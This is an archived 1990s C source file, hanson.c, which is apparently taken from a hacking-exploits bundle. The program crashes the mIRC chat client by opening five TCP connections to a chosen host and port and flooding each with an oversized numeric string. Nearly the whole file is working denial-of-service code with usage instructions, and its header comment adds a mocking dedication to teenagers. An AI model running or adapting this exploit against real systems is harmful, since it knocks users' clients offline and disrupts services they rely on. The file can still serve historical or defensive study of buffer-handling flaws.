home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / hanson.c < prev    next >
C/C++ Source or Header  |  1998-07-30  |  3KB  |  98 lines

  1.  
  2. /* http://www.rootshell.com/ - 12/23/97 */
  3.  
  4. /*  hanson.c - by myn with help from h2o and watcher *thanks*
  5.  
  6.     This lil program exploits mIRC's bound sockets, making the client crash
  7.  
  8.     mIRC can handle a mass influx of data but cannot handle strings of data
  9.     that are parsed internally through mIRC. This program forces mIRC to
  10.     parse incoming data and identify it, the result from the parse
  11.     is larger then mIRC's buffer string size, thus making the
  12.     client crash :).  This will create 5 connections to the bound port and
  13.     then send the string.
  14.  
  15.     Its like sending double "int" when you only had 1 bit to work with!
  16.  
  17.     hanson.c is dedicated to all the lil 13 to 16 year old geeks (abyss)
  18.     that are in love with those cute boys..
  19.  
  20.  
  21.           myn@efnet
  22. */
  23. #include <stdio.h>
  24. #include <string.h>
  25. #include <netdb.h>
  26. #include <netinet/in.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <unistd.h>
  30.  
  31.  
  32. int x, s, i, p, dport;
  33. /* SET STRING HERE */
  34. char *str =
  35. "9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
  36. *
  37. 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999";
  38. struct sockaddr_in addr, spoofedaddr;
  39. struct hostent *host;
  40.  
  41.  
  42. int open_sock(int sock, char *server, int port) {
  43.      struct sockaddr_in blah;
  44.      struct hostent *he;
  45.      bzero((char *)&blah,sizeof(blah));
  46.      blah.sin_family=AF_INET;
  47.      blah.sin_addr.s_addr=inet_addr(server);
  48.      blah.sin_port=htons(port);
  49.  
  50.     if ((he = gethostbyname(server)) != NULL) {
  51.         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  52.     }
  53.     else {
  54.          if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
  55.            perror("gethostbyname()");
  56.            return(-3);
  57.          }
  58.     }
  59.  
  60.         if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
  61.              perror("connect()");
  62.              close(sock);
  63.              return(-4);
  64.         }
  65.         printf("     Connected to [%s:%d].\n",server,port);
  66.         return;
  67. }
  68.  
  69.  
  70. void main(int argc, char *argv[]) {
  71.      int t;
  72.      if (argc != 3) {
  73.        printf("hanson.c - myn@efnet\n\n");
  74.        printf("This lil program exploits mIRC's bound sockets, making the client crash\n\n");
  75.        printf("Usage: %s <target> <port>\n",argv[0]);
  76.        exit(0);
  77.      }
  78.      printf("hanson.c - myn@efnet\n\n");
  79.      for (t=0; t<5; t++)
  80.      {
  81.      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  82.         perror("socket()");
  83.         exit(-1);
  84.      }
  85.      p = atoi(argv[2]);
  86.      open_sock(s,argv[1],p);
  87.  
  88.      printf("     Sending string 1ooo times to %s port %i... \n", argv[1], p);
  89.  
  90.      for (i=0; i<1000; i++) {
  91.        send(s,str,strlen(str),0x0);
  92.      }
  93.      printf("mmmmb0p.\n");
  94.      }
  95.      close(s);
  96. }
  97.  
  98.